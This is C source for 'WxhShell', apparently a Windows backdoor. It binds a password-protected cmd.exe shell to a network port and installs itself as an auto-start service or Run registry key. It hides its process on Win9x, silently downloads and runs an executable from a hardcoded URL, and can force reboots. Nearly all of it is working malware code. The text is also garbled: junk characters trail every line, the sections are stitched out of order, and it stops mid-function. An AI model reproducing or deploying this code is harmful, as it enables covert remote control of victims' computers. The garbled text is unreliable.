    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x^ruPiH  
    if(Boot(SHUTDOWN)) 0X"D!G):  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #.kDin~!  
    else { )$_b?  
    closesocket(wsh); gnPu{-Ec*  
    ExitThread(0); _9Zwg+oO[  
    } K~B@8az  
    break; I"<ACM  
    } -*I Dzm  
  // 获取shell ;j]-;wg-;  
  case 's': { & NO:S  
    CmdShell(wsh); _:0  
    closesocket(wsh); v0}R]h~>\H  
    ExitThread(0); ui\yY3?  
    break; -'iV-]<  
  } N-O"y3W}  
  // 退出 fxKhe[;  
  case 'x': { mlmp'f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (dh{Gk4=+  
    CloseIt(wsh); {!`0i  
    break; 3RyB 0 n  
    }  aX'R&R  
  // 离开 4.}{B_)LK  
  case 'q': { Nhnw'9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); );zLy?n  
    closesocket(wsh); hkhk,bhI  
    WSACleanup(); .7|kxJq  
    exit(1); #o]/&T=N=  
    break; X  !vBD  
        } ^+m6lsuA  
  } 1>BY:xZr  
  } ^mA^7jB  
np#RBy  
  // 提示信息 L\u6EMyV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =I}8-AS~V  
} \<bar ~  
  } a2MFZe  
'8$*gIQ8  
  return; 3{wmKo|_X  
} .(7 end<  
e{"r3*  
// shell模块句柄 B?c n5  
int CmdShell(SOCKET sock) #:y h2y7a%  
{ dP0%<Q|  
STARTUPINFO si; xElHYh(\  
ZeroMemory(&si,sizeof(si)); PSM~10l,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,o3{?o]s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^s_BY+#  
PROCESS_INFORMATION ProcessInfo; 1+f>tv  
char cmdline[]="cmd"; U;l!.mze  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  9z9EK'g  
  return 0; p%8v+9+h2  
} ?'@tx4#v\2  
QR+{Yp  
// 自身启动模式 n%M-L[n  
int StartFromService(void) _qZ?|;o^  
{ HFr#Ql>g  
typedef struct =Qa*-*  
{ %SHjJCS3  
  DWORD ExitStatus; yt+"\d  
  DWORD PebBaseAddress;  t dl Y  
  DWORD AffinityMask; 'D B4po.   
  DWORD BasePriority; Xlw8> .\  
  ULONG UniqueProcessId; 6WN1D W  
  ULONG InheritedFromUniqueProcessId; /n9yv  
}   PROCESS_BASIC_INFORMATION; ^,?dk![1Cv  
=sR]/XSK  
PROCNTQSIP NtQueryInformationProcess; QL<uQ`>(  
&g{b5x{iD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q9UBxpDV:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :2qUel\PEC  
Y'75DE<BC  
  HANDLE             hProcess; Vh.9/$xQ  
  PROCESS_BASIC_INFORMATION pbi; ^X&n-ui   
rM sd)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [%8t~zg  
  if(NULL == hInst ) return 0; V8aLPJ0_  
eC9nOwp]xH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h;^H*Y&`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2W}f|\8MX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3M;[.b  
FXHcy:)}G  
  if (!NtQueryInformationProcess) return 0; {Q&@vbw'  
BRTM]tRZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X"S-f; b#  
  if(!hProcess) return 0; [ _jd  
]/o0p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "1<>c/h  
DP(JsZ}  
  CloseHandle(hProcess); )4[Yplo  
U_-9rkUa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M!{;:m28X!  
if(hProcess==NULL) return 0; O3?3XB> <  
hU:M]O0uw  
HMODULE hMod; [@l:C\2  
char procName[255]; ^[7ZBmS  
unsigned long cbNeeded; bVB_KE  
4oY<O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :V(+]<  
6vx0F?>_  
  CloseHandle(hProcess); OZ/P@`kN.f  
(1 L9K;  
if(strstr(procName,"services")) return 1; // 以服务启动 P,$|.p d'  
i|z=q  
  return 0; // 注册表启动 Y7|R vLWoP  
} h)W?8XdM  
y+ZRh?2  
// 主模块 MOiTz L*  
int StartWxhshell(LPSTR lpCmdLine) j^t#>tZS  
{ F__(iXxC  
  SOCKET wsl; 9]ga\>v  
BOOL val=TRUE; (8[etm  
  int port=0; ;*3OkNxa3  
  struct sockaddr_in door; ?0v(_ v  
JGJXV3AT  
  if(wscfg.ws_autoins) Install(); 4K_fN  
tWs ]Zd  
port=atoi(lpCmdLine); tD G[}j  
 H %Cb  
if(port<=0) port=wscfg.ws_port; 4CzT<cp  
E3pnu.;U:_  
  WSADATA data; mfYY?]A*+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (<= &#e?  
.RI{\i`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j k%MP6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j{.P'5e@pZ  
  door.sin_family = AF_INET; $VWeo#b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J>I.|@W4  
  door.sin_port = htons(port); j}0W|*  
SR,id B&i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -~nU&$ccL  
closesocket(wsl); $6W o$c%  
return 1; g4NxNjM;  
} k`LoRqF  
PT9,R^2T!  
  if(listen(wsl,2) == INVALID_SOCKET) { (+@ Lnz\  
closesocket(wsl); mA ^[S.!  
return 1; eR'Df" +  
} yfBVy8Sm  
  Wxhshell(wsl); `MMh"# xN  
  WSACleanup(); Pj4WWKX  
j,q8n`@  
return 0; ~16QdwK  
0!WF,)/T7i  
} `m6>r9:  
2v ^bd^]u:  
// 以NT服务方式启动 zJp}JO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R)>/P{ A-P  
{ o80"ZU|=  
DWORD   status = 0; M YQZqlV  
  DWORD   specificError = 0xfffffff; #Y*?k TF  
 8>Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -ZTe#@J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I~LN)hqdo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'cs!(z-{x  
  serviceStatus.dwWin32ExitCode     = 0; KO`ftz3 +  
  serviceStatus.dwServiceSpecificExitCode = 0; c7$L:  
  serviceStatus.dwCheckPoint       = 0; U@W3x@  
  serviceStatus.dwWaitHint       = 0; Dg^n`[WO  
[dG&"%5vD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P\;L#2n  
  if (hServiceStatusHandle==0) return; tx$kD2  
OH`| c  
status = GetLastError(); .ZuRH_pI  
  if (status!=NO_ERROR) <qG4[W,[  
{ 08J[9a0[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #) eI]  
    serviceStatus.dwCheckPoint       = 0; 8]@)0q {r  
    serviceStatus.dwWaitHint       = 0; [>5<&[A  
    serviceStatus.dwWin32ExitCode     = status; #;9I3,@/Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?2hS<qXX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ekb9=/  
    return; ~H[  
  } + .Pv:7gh  
K>=KsG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?F{sym@i  
  serviceStatus.dwCheckPoint       = 0; ^Eu]i  
  serviceStatus.dwWaitHint       = 0; 4uQ\JD(*Eu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); en"]u,!  
} 6#A g^A  
!N\<QRb\q  
// 处理NT服务事件,比如:启动、停止 _zAHN0d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wul$lJ?tE  
{ >FO4]  
switch(fdwControl) 6OBe^/ZRt  
{ tDWW 4H  
case SERVICE_CONTROL_STOP: _a;E>   
  serviceStatus.dwWin32ExitCode = 0; zV)(i<Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UDjmXQ2,  
  serviceStatus.dwCheckPoint   = 0; ~}uv4;0l]  
  serviceStatus.dwWaitHint     = 0; QucDIZ  
  { do {E39  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l(c2 B  
  } 4 &r5M  
  return; 4o+SSS  
case SERVICE_CONTROL_PAUSE: AYhWeI+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Wo&WO e  
  break; t)#8r,9c  
case SERVICE_CONTROL_CONTINUE: [i[*xf-B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,2t|(V*"&  
  break; t=,ZR}M1`  
case SERVICE_CONTROL_INTERROGATE: baLO~C  
  break; [NG~FwpRf  
}; L<t>o":o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n$2Ia E;v  
} W<f-  
gN,O)@N'd3  
// 标准应用程序主函数 3.i$lp`t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #?x!:i$-  
{ eAU0 8gM.  
to2; . ~X  
// 获取操作系统版本 se|>P=/  
OsIsNt=GetOsVer(); U2v;[>=]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [HRry2#s  
$|kq{@<  
  // 从命令行安装 ^Rr!YnEN  
  if(strpbrk(lpCmdLine,"iI")) Install(); <x QvS^|[  
zKh^BwhO|X  
  // 下载执行文件 o,-p[1b  
if(wscfg.ws_downexe) { qPI\Y3ZU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jeKqS  
  WinExec(wscfg.ws_filenam,SW_HIDE); |j 9d.M  
} @nC][gNv  
% G'{G  
if(!OsIsNt) { ?*oBevUnCY  
// 如果时win9x,隐藏进程并且设置为注册表启动 1c5+X Cr  
HideProc(); gxKL yZO!  
StartWxhshell(lpCmdLine); +9^V9]{Vo  
} x;^DlyyYU  
else HZINsIm!?  
  if(StartFromService()) ;;4>vF#*  
  // 以服务方式启动 6TR` O  
  StartServiceCtrlDispatcher(DispatchTable); (:(Im k;9  
else )WBp.j /#  
  // 普通方式启动 ~U;M1>  
  StartWxhshell(lpCmdLine); aru;yR  
v}cTS@0  
return 0; ?l> <?i  
} zIzL7oD  
;\'d9C  
1"\^@qRv#  
lXT+OJF  
=========================================== MyZ5~jnr\  
Exb?eHO  
+6~y1s/B[  
T1-.+&<  
;i 'mma_!  
:5'8MU  
" 3wYhDxY1  
J16t&Ha`  
#include <stdio.h> ~D0e \Q(A  
#include <string.h> $~ >/_<~  
#include <windows.h> (v,g=BS,  
#include <winsock2.h> gLss2i.r  
#include <winsvc.h> eqY8;/  
#include <urlmon.h> UfkQG`G9H  
T5_/*`F  
#pragma comment (lib, "Ws2_32.lib") 6M#}&Gv  
#pragma comment (lib, "urlmon.lib") R:5uZAx  
>ufLRGL>  
#define MAX_USER   100 // 最大客户端连接数 vNDf1B5z  
#define BUF_SOCK   200 // sock buffer Im!fZ g  
#define KEY_BUFF   255 // 输入 buffer 5M&<tj/[a0  
MqAN~<l [  
#define REBOOT     0   // 重启 @hF$qevX  
#define SHUTDOWN   1   // 关机 N|2PW ~,  
Ods~tM  
#define DEF_PORT   5000 // 监听端口 sTu]C +A  
-NPX;e$<  
#define REG_LEN     16   // 注册表键长度 .[:y`PCF  
#define SVC_LEN     80   // NT服务名长度 ROr|n]aJj  
nIqNhJ+  
// 从dll定义API ts/Ha*h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p_B5fm7#6W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XY,!vLjL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _[pbf ua  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ew )1O9f  
*5KDu$'(e  
// wxhshell配置信息 !BjJ5m  
struct WSCFG { B'-n ^';  
  int ws_port;         // 监听端口 8\S$iGd  
  char ws_passstr[REG_LEN]; // 口令 s^"*]9B"  
  int ws_autoins;       // 安装标记, 1=yes 0=no zXW)v/ ZD  
  char ws_regname[REG_LEN]; // 注册表键名 &a'mh  
  char ws_svcname[REG_LEN]; // 服务名 a|-ozBFR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V4ybrUWK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 or`D-x)+@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7S{yKS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BC)1FxsGf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" blKF78  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 > ofWHl[-  
v[4-?7-  
}; ckkm}|&m  
Sg< B+u\\  
// default Wxhshell configuration y-uSpW  
struct WSCFG wscfg={DEF_PORT, !8I80 :e_~  
    "xuhuanlingzhe", wW, n~W  
    1, iBk1QRdn  
    "Wxhshell", #'5{ ?Cb  
    "Wxhshell", VQI[ J  
            "WxhShell Service", (H;,E-  
    "Wrsky Windows CmdShell Service", PQrc#dfc |  
    "Please Input Your Password: ", "XLFw;o  
  1, 1b<[/g9  
  "http://www.wrsky.com/wxhshell.exe", t+#vcg,G  
  "Wxhshell.exe" 1nR\ m+{  
    }; )C$pjjo/`  
l^2m7 7)  
// 消息定义模块 v+~O\v5Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "I QM4:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x~ E\zw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E/2_@&U:}  
char *msg_ws_ext="\n\rExit."; bAEwjZ  
char *msg_ws_end="\n\rQuit."; [JEf P/n|.  
char *msg_ws_boot="\n\rReboot..."; AEd9H +I  
char *msg_ws_poff="\n\rShutdown..."; 9z+ZFIf7d  
char *msg_ws_down="\n\rSave to "; nP0rg  
+t8#rT ^B  
char *msg_ws_err="\n\rErr!"; A3.*d:A  
char *msg_ws_ok="\n\rOK!"; n^Q-K}!T/  
O jH"qi  
char ExeFile[MAX_PATH]; s;#,c(   
int nUser = 0; S])*LUi  
HANDLE handles[MAX_USER]; K$wxiGg8P  
int OsIsNt; 6GoQJ  
0py29>"t  
SERVICE_STATUS       serviceStatus; #kgLdd"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0lU pil  
N_E)f  
// 函数声明 z,RjQTd  
int Install(void); F{E`MK~f_  
int Uninstall(void); P1&Irwb`  
int DownloadFile(char *sURL, SOCKET wsh); pp+z5  
int Boot(int flag); +o]J0Gu  
void HideProc(void); v,Z?pYYo  
int GetOsVer(void); H#3Ma1z  
int Wxhshell(SOCKET wsl); ft$!u-`  
void TalkWithClient(void *cs); 8{)N%r  
int CmdShell(SOCKET sock); 1sq1{|NW~  
int StartFromService(void); }" STc&1  
int StartWxhshell(LPSTR lpCmdLine); |Y30B,=M  
6('CB|ga  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T2TWb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jxZ_-1  
}Vfc;2  
// 数据结构和表定义 @xr}(.  
SERVICE_TABLE_ENTRY DispatchTable[] = jP.dQj^j&  
{ G[]h1f!  
{wscfg.ws_svcname, NTServiceMain}, C_&ZQlgQ  
{NULL, NULL} K@?K4o   
}; {a,U{YJ\H  
1aezlDc*  
// 自我安装 {[bB$~7Eu  
int Install(void) v7<r- <I[  
{ p3qKtMs0!  
  char svExeFile[MAX_PATH]; g6@^n$Y  
  HKEY key; *t`=1Ioj  
  strcpy(svExeFile,ExeFile); y24/lc  
Ej<`HbJ 'Q  
// 如果是win9x系统,修改注册表设为自启动 .SDE6nvbW  
if(!OsIsNt) { {6mFI1;q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >gDKkeLD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j2oU1' b  
  RegCloseKey(key); Wu)An  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n`D-?]*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m,Mg  
  RegCloseKey(key); _pkmHj(  
  return 0; A27!I+M  
    } fr&K^je\  
  } ,uZz?7mO  
} :H/Rhx=  
else { $PMD$c  
REPI >-|  
// 如果是NT以上系统,安装为系统服务 =<Ss&p>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1 0tt':  
if (schSCManager!=0) B3p79 j  
{ 6%&DJBU!  
  SC_HANDLE schService = CreateService HBZtg  
  ( GD4+f|1.*  
  schSCManager, $ Zj3#l:rK  
  wscfg.ws_svcname, N~DO_^  
  wscfg.ws_svcdisp, H<   
  SERVICE_ALL_ACCESS, 0NXaAf:2Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 54Vb[;`Kkb  
  SERVICE_AUTO_START, kQ|phtbI  
  SERVICE_ERROR_NORMAL, +<3e@s&  
  svExeFile, E0eZal],  
  NULL, !*}E  
  NULL, w +HKvOs5c  
  NULL, \cQ+9e)  
  NULL, Wv30;7~  
  NULL  @4>?Y=#  
  ); *Tq7[v{0*|  
  if (schService!=0) @1V?94T1  
  { RA}Y$}^#'  
  CloseServiceHandle(schService); |%j7Es  
  CloseServiceHandle(schSCManager); CL5t6D9Qi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zS `>65}e  
  strcat(svExeFile,wscfg.ws_svcname); ,PX7}//X^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZSn6JV'g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hYVy65Ea  
  RegCloseKey(key); LGWQBEXw  
  return 0; [k=LX+w@  
    } p%5(Qqmlk  
  } p+Fh9N<F9  
  CloseServiceHandle(schSCManager); UbP$WIrq  
} ;e Mb$px  
} WDh*8!)  
Q S<)*  
return 1; V# JuNJ  
} {mA#'75a#  
M2M&L,/O  
// 自我卸载 /?S,u,R  
int Uninstall(void) "gt*k#  
{ '3B7F5uLx"  
  HKEY key; Lp{/  
WISeP\:^  
if(!OsIsNt) { !uhh_3RH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +`TwBN,kp-  
  RegDeleteValue(key,wscfg.ws_regname); p9eTrFDy?  
  RegCloseKey(key); nu6v@<<F>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [-1Yyy1}  
  RegDeleteValue(key,wscfg.ws_regname); ]F4|@+\9  
  RegCloseKey(key); Y~U WUF%aK  
  return 0; nW]T-!  
  } ?d)FYB  
} TWU1@5?Ct  
} Jy0(g T  
else { NZuylQ)0  
9iGp0_J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?aU-Y_pMe  
if (schSCManager!=0) V/J-zH&  
{ |w.5*]?H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2XV3f$,H  
  if (schService!=0) CMYkxU  
  { 1P/4,D@  
  if(DeleteService(schService)!=0) { \5F {MBx !  
  CloseServiceHandle(schService); ;uqi  
  CloseServiceHandle(schSCManager); O_Z   
  return 0; :BUr8%l  
  } j8?rMD~  
  CloseServiceHandle(schService); Ki%RSW(_`  
  } OZno 3Hn  
  CloseServiceHandle(schSCManager); xOc&n0}%  
} DC=XPn/V  
} N)X51;+  
,>3|\4/Q  
return 1; cnM`ywKW  
} {Lvta4}7(  
S[RVk=A1  
// 从指定url下载文件 19i [DR  
int DownloadFile(char *sURL, SOCKET wsh) \`YV)"y" ~  
{ <s5s<q2  
  HRESULT hr; k; vhQ=  
char seps[]= "/"; 7G23D  
char *token; TL([hR _  
char *file; 3@mW/l>X  
char myURL[MAX_PATH]; M;E$ ]Z9  
char myFILE[MAX_PATH]; +qmV|$rmM  
'];=1loD  
strcpy(myURL,sURL); HeM-  
  token=strtok(myURL,seps); u]Dds;~"b  
  while(token!=NULL) a`zw5  
  { +'9eo%3O  
    file=token; G4)X~.Fy  
  token=strtok(NULL,seps); Dqm;twd>  
  } CI@qT}Y_  
$(;0;!t.  
GetCurrentDirectory(MAX_PATH,myFILE); o`\@Yq$.  
strcat(myFILE, "\\"); (?~*.g!  
strcat(myFILE, file); \_3#%%z  
  send(wsh,myFILE,strlen(myFILE),0); A]OVmw  
send(wsh,"...",3,0); *@[+C~U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "$|ne[b2  
  if(hr==S_OK) /w:~!3Aj0+  
return 0; SgY\h{{sP  
else q@Sj$  
return 1; yx/.4DW1Ua  
2R`}}4<Z  
} s%t =*+L\  
9E]7Etfw  
// 系统电源模块 NU!B|l  
int Boot(int flag) O:W4W=K  
{ Z+C&?K  
  HANDLE hToken; GsC4ty  
  TOKEN_PRIVILEGES tkp; ri1:q.:I]  
Iih]q  
  if(OsIsNt) { ^|=3sJ4[U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3Uni{Z]Q)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XnV$}T:?X  
    tkp.PrivilegeCount = 1; $rz'Ybs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :faB7wduW;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -LEpT$v|  
if(flag==REBOOT) { 5gY9D!;:0D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <^wqN!/  
  return 0; p`{| [<  
} ^0T[V-PgiD  
else { is}Y+^j.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [Xo}CU  
  return 0;  FK|q*  
} '1Q [&  
  } =bB7$#al  
  else { 73kL>u  
if(flag==REBOOT) { v(z2,?/4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &Ch~$Wb^  
  return 0; 'Mm=<Bh  
} o|7 h  
else { #"aL M6Cfs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }A'Ro/n  
  return 0; [5QbE$  
} nN!R!tJPa  
} xsSX~`  
>X-*Hu'U#  
return 1; ,{u'7p  
} -K%~2M<  
A0 1 D-)  
// win9x进程隐藏模块 QLe<).S1B2  
void HideProc(void) :]^FTnO  
{ (TFo]c  
ex-W{k$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gPg2Ve0Qy  
  if ( hKernel != NULL ) nW `EBs  
  { TGu]6NzyZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); txXt<]N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9EKc{1 z  
    FreeLibrary(hKernel); 6`;+|H<$  
  } HVK./y qy  
:_"%o=  
return; |!H@{o  
} }?XNA.Wz  
n 0CS =  
// 获取操作系统版本 ?tFsSU  
int GetOsVer(void) .q9wyVi7GI  
{ ~Y'j8W  
  OSVERSIONINFO winfo; YR}By;Bq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5WG:m'$$  
  GetVersionEx(&winfo); 9V( esveq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?br4 wl  
  return 1; uV+.(sjH  
  else ;#Pc^Yzc1  
  return 0; ZMI vzQYI  
} N"rZK/@}  
%H'*7u2  
// 客户端句柄模块 Q XV8][  
int Wxhshell(SOCKET wsl) qb1[-H  
{ u#`FkuE\}  
  SOCKET wsh; ;f)o_:(JJ  
  struct sockaddr_in client; E5F0C]hq  
  DWORD myID; iHL`r1I!  
t`y*oRy  
  while(nUser<MAX_USER) [W2GLd]  
{ J}J7A5P  
  int nSize=sizeof(client); p7kH"j{xD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yCOIv!/zy  
  if(wsh==INVALID_SOCKET) return 1; s;4r)9Uvx  
Yl$Cj>FG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Du."O]syD  
if(handles[nUser]==0) !wZ  9P  
  closesocket(wsh); W:z!fh-  
else $(U}#[Vie  
  nUser++; 7f\@3r  
  } A T'P=)F@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zm('\KvT  
gaXKP1m^  
  return 0; ;_hL  
} O F CA~sR  
#J<IHNRt  
// 关闭 socket {-?8r>  
void CloseIt(SOCKET wsh) &\/b(|>  
{ 8x9$6HO  
closesocket(wsh); DTR/.Nr'K  
nUser--; s.7s:Q`  
ExitThread(0); lYMNx|PF  
} =y kOh_M  
C #A\Rfi  
// 客户端请求句柄 n%YG)5;  
void TalkWithClient(void *cs) 1_z6O!rx  
{ ;c;n.o.)/#  
5};$>47m  
  SOCKET wsh=(SOCKET)cs; .A2u7*h&  
  char pwd[SVC_LEN]; 'N?t=A  
  char cmd[KEY_BUFF]; 3@7<e~f  
char chr[1]; -d8||X[  
int i,j; M?fRiOj  
/K@{(=n  
  while (nUser < MAX_USER) { }.R].4gT  
(&a<6k  
if(wscfg.ws_passstr) { WgK|r~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QP?Deltp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $=-Q]ld&]  
  //ZeroMemory(pwd,KEY_BUFF); 5Si\hk:o  
      i=0; 'o*:~n  
  while(i<SVC_LEN) { ,$qqHSd1M  
\"u3 x.!  
  // 设置超时 f!"Y"g:@E  
  fd_set FdRead; Ft)Z'&L   
  struct timeval TimeOut; }&mFpc  
  FD_ZERO(&FdRead); ef;Ta|#  
  FD_SET(wsh,&FdRead); ttK`*Ng  
  TimeOut.tv_sec=8; BLvI[b|3gn  
  TimeOut.tv_usec=0; KZxA\,Y'5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _,i+gI[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yw( E}   
k v}<u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KtFxG6a  
  pwd=chr[0]; )5Bkm{v3  
  if(chr[0]==0xd || chr[0]==0xa) { a}w%k  
  pwd=0; khW9n*  
  break; r4D 6I,  
  } *KXg;777  
  i++; QF fKEMN  
    } X}5aE4K/  
d$G<g78D  
  // 如果是非法用户,关闭 socket @}e'(ju%R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DB>Y#2j4h  
} {&Bpf K;`)  
@-ma_0cZQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /@.c 59r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q:x:k+O-  
VnJ-nfA  
while(1) { vsM] <t  
!j3V'XU#Zn  
  ZeroMemory(cmd,KEY_BUFF); yT>t[t60/S  
L#`9# Q  
      // 自动支持客户端 telnet标准   v0dFP0.;&  
  j=0; f~.w2Cna  
  while(j<KEY_BUFF) { /~LXY< -(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u%7a&1c  
  cmd[j]=chr[0]; h CLXL  
  if(chr[0]==0xa || chr[0]==0xd) { QxGQF|  
  cmd[j]=0; |@-%x.y  
  break; i~IQlyGr.  
  } B9 Dh^9?L  
  j++; Qw$"W/&X  
    } r $du-U  
#c0 dZ  
  // 下载文件 l}DCK  
  if(strstr(cmd,"http://")) { IKK<D'6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K+` Vn  
  if(DownloadFile(cmd,wsh)) S%ri/}qI[{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @HfWAFT  
  else RT45@   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p 0.?R  
  } s'^zudx  
  else { ;!@\|E  
t#y   
